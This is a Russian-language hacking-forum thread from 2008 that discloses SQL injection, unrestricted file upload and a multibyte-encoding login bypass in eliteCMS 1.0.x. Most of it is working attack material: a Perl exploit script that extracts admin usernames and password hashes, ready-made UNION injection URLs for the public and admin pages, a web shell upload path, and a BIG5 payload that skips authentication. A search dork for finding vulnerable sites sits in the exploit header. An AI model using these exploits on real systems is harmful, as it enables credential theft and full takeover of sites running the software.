ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > Сценарии/CMF/СMS
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Уязвимости eliteCMS
  #1  
Старый 22.12.2008, 02:21
Аватар для Dimi4
Dimi4
Reservists Of Antichat - Level 6
Регистрация: 19.03.2007
Сообщений: 953
Провел на форуме:
7617458

Репутация: 3965


Отправить сообщение для Dimi4 с помощью ICQ
По умолчанию Уязвимости eliteCMS

eliteCMS
SQL-inj
Vulnerability code:
PHP код:
function get_page_settings()
{
    global 
$page_settings;
    
$query "SELECT * FROM pages WHERE id = '{$_GET['page']}'";
    
$result mysql_query($query);
    
confirm_query($result);
    
$page_settings mysql_fetch_array($result);
    return 
$page_settings;


Ну и вообщем первый мой сплойт:

Код:
#!/usr/bin/perl
system('cls');
 
#*****************************************************************************
#*****************************************************************************
#**     Written by Dimi4,                                                   **
#**     Greetings to antichat && elwaux                                     **
#**     dork:""Powored by Elite CMS"                                        **
#**     version:1.0.x                                                       **
#**     magic_qotes_gpc=OFF                                                 **
#**                                                                         **
#***************************************************************************** 
# ****************************************************************************
 
use IO::Socket;
 
print "\n +-------------------------------------------------------------+\n";
print " |           eliteCMS 1.0.x Sql-Injection Exploit              |\n";
print " |           By Dimi4                                          |\n";
print " +-------------------------------------------------------------+\n\n";
 
if (@ARGV < 3)
{
print " [i] usage:\r\n";
print "     eliteCMS.pl Server Dir Username\r\n\r\n";
print "     SERVER         - Server where eliteCMS was installed.\r\n";
print "     DIR            - eliteCMS directory or / for parent.\r\n";
print "     Username       - Targer username(default - admin).\r\n";
print "\n [i] Example:\r\n";
print "     eliteCMS.pl 192.168.168.1 / admin2\n";
<stdin>;
exit();
}
 
$serv           = $ARGV[0];
$dir            = $ARGV[1];
$username       = $ARGV[2];
 
 
$serv           =~ s/http:\/\///ge;
$delimit        = "0x336c317433636d353378706c303174";

$sploit = 'http://'.$serv.'/'.
        'index.php?page=1\'+union+select+1,concat'.
        '(user_name,\''.$delimit.'\',h_password)'.
        ',3,4,5,6,7,8,9,10,11+from+users+where+user_name=\''.$username.'\'+'.
        'limit+1,1%23';
 
 
$sock = IO::Socket::INET->new(
                Proto=>"tcp",
                PeerAddr=>"$serv",
                PeerPort=>"80") or die " [-] could not connect to host.\n";
 
print " [+] connecting OK\n";
 
print " [+] sending exploit..\n";
 
print $sock "GET $sploit HTTP/1.1\n";
print $sock "Host: $serv\n\n";
read($sock,my $answer,1000);
$success = 0;
print " [+] In progress...\n";

if ($answer=~ /$delimit/) {
        $answer =~ /$username$delimit(.*)::-::<\/title>/;
		print " [+] Exploit succeeded...\n";
		print ' [+] Targer:  '.$serv."\n";
        print ' [+] Username:   '.$username."\n";
        print ' [+] Password: '.$1."\n";
        exit();
        } else
        { print " [-] FAILED!\n"; exit(); }
 
 
 
close($sock);


<stdin>;
exit();
Спасибо elwaux за помощь в перел)

Всё те же иньекции:
Код:
http://127.0.0.1/eliteCMS/index.php?page=1'+union+select+1,concat(user_name,0x20336c317433636d353378706c30317420,h_password),3,4,5,6,7,8,9,10,11+from+users+limit+1,1/*
Админка:
На первой страницы виден полный путь. Если хватит прав можно залить шелл через скулю.
Скули в админке:
Код:
http://127.0.0.1/eliteCMS/admin/edit_page.php?page=3+union+select+1,2,3,4,5,6,7,8,9,10,11/*
SQL-inj
Vulnerability code:

PHP код:
function get_page($page_id)
{
    
$query "SELECT * FROM ";
    
$query .= "posts ";
    
$query .= "WHERE page_id =" $page_id " ";
    
$query .= "AND active = 1 ";
    
$query .= " ORDER BY position";
    
$result mysql_query($query);
    
$check mysql_num_rows($result);
    
confirm_query($result);
    if (
$check != 0) {
        while (
$page mysql_fetch_array($result)) {
            echo 
"<h1>" $page['title'] . "</h1>\n";
            echo 
"<p>" $page['content'] . "</p>\n";

        } 
URL:
Код:
http://127.0.0.1/eliteCMS/admin/edit_post.php?page=1&post=1+union+select+1,2,3,4,user(),version()/*
SQL-inj
Vulnerability code:

PHP код:
function get_sidebar($page_id)
{
    
$query "SELECT * FROM ";
    
$query .= "sidebar ";
    
$query .= "WHERE page_id =" $page_id " ";
    
//$query .= "AND active = 1 ";
    
$query .= " ORDER BY position";
    
$result mysql_query($query);
    
confirm_query($result);
    while (
$sidebar mysql_fetch_array($result)) {
        echo 
"<h2>" $sidebar['title'] . "</h2>";
        echo 
"<p>" $sidebar['content'] . "</p>";
        echo 
"<p></p>";

    }


URL:
Код:
http://127.0.0.1/eliteCMS/admin/dit_sidebar.php?page=1&sidebar=2+union+select+1,2,3,user(),version()/*
Форум пробелы в експлойт подобавлял
Рабочий в атаче
Такс.. Иду спать.. потом допишу
Вложения
Тип файла: txt eliteCMS.txt (2.8 Кб, 1 просмотров)

Последний раз редактировалось Dimi4; 01.01.2009 в 23:29..
 
Ответить с цитированием

  #2  
Старый 22.12.2008, 02:26
Аватар для Dimi4
Dimi4
Reservists Of Antichat - Level 6
Регистрация: 19.03.2007
Сообщений: 953
Провел на форуме:
7617458

Репутация: 3965


Отправить сообщение для Dimi4 с помощью ICQ
По умолчанию

Заливка шелла:

Код:
PHP код:
    if (!file_exists($upload_path)) {

        if (
$_FILES['file']['size'] < 100000000000 && $_FILES['file']['size'] > 0) {

            if (
$_FILES['file']['error']) {
                echo 
"Error: " $_FILES['file']['error'];
            } else {
                
// Success!

                
$successMSG "File successfully uploaded."
Нет проверки на расширение))

Шелл:
Код:
http://127.0.0.1/eliteCMS/uploads/shell.php

Последний раз редактировалось Dimi4; 22.12.2008 в 17:39..
 
Ответить с цитированием

  #3  
Старый 22.12.2008, 21:53
Аватар для Dimi4
Dimi4
Reservists Of Antichat - Level 6
Регистрация: 19.03.2007
Сообщений: 953
Провел на форуме:
7617458

Репутация: 3965


Отправить сообщение для Dimi4 с помощью ICQ
По умолчанию

Обход авторизации в админке.
Так как даная цмс еще не очень популярна (надеюсь не станет ей до исправления багов ) такой случай очень редкий.

Требования:

PHP: < v4.3.0
magic_qoutes_gpc: OFF
character_set_results: BIG5 (Или любая другая мультибайтовая кодировка - SJIS, BIG5 и GBK)

Уязвимая функция (functions.php)

PHP код:
function mysql_prep($value)
{
    
$magic_quotes_active get_magic_quotes_gpc();
    
$new_enough_php function_exists("mysql_real_escape_string"); // i.e. PHP >= v4.3.0
    
if ($new_enough_php) { // PHP v4.3.0 or higher
        // undo any magic quote effects so mysql_real_escape_string can do the work
        
if ($magic_quotes_active) {
            
$value stripslashes($value);
        }
        
$value mysql_real_escape_string($value);
    } else { 
// before PHP v4.3.0
       
        
if (!$magic_quotes_active) {
            
$value addslashes($value);
        }
       
    }
    return 
$value;

PHP код:
addslashes() 
Перед одинарными и двойными кавычками, беклсешем, нуллбайтом добавляет обратный слэш. В мультибайтовой BIG5 кодировке 0xa327 - неверный символ, но после слеширования, у - 0xa35c27. 0xa35c для BIG5 корректный символ. Но и 0х27 станет отдельным и кавычка не будет экранироватся.

Другой уязвимый кусок кода:
PHP код:
$user_name mysql_prep($_POST['user_name']);
        
$password mysql_prep($_POST['password']);
        
$h_password sha1($password);

        
$query " SELECT id, user_name, s_admin  ";
        
$query .= " FROM users ";
        
$query .= " WHERE user_name = '{$user_name}' ";
        
$query .= " AND h_password = '{$h_password}' ";
        
$query .= " AND active = 1 ";
        
$query .= " LIMIT 1 ";
        
$result mysql_query($query); 
PHP код:
 if (mysql_num_rows($result) == 1) {
            
$valid_user mysql_fetch_array($result);
            
$_SESSION['user_id'] = $valid_user['id'];
            
$_SESSION['user_name'] = $valid_user['user_name'];
            
$_SESSION['s_admin'] = $valid_user['s_admin'];
            
redirect_to("index.php"); 
Пример для пост заголовка на пхп:

PHP код:
$header .= chr(0xa3).chr(0x27).' OR 1=1 /*'
Sql запрос примет такой вид:

PHP код:
$query " SELECT id, user_name, s_admin FROM users WHERE user_name = 'значение+0xa35c+' OR 1=1 /*' AND h_password = '{$h_password}' AND active = 1 LIMIT 1 "
Таким образом пройдем авторизацию

Спасибо [Raz0r] За статью в блоге
Спасибо The:Paradox за експлойт для SMF <= 1.1.4
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[Обзор уязвимостей vBulletin] bandera Форумы 74 07.06.2010 16:19
Переполнение буфера в Kaspersky Anti-Virus bul666 Мировые новости 9 15.08.2009 15:08
В Windows Mobile найдено две уязвимости ground_zero Мировые новости 1 06.02.2007 11:40
Множественные уязвимости в INVISION POWER BOARD 2.1.x GreenBear Уязвимости 6 02.03.2006 21:36
Действующие уязвимости почтовых систем РФ Maxmen E-Mail 16 12.12.2004 16:48



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ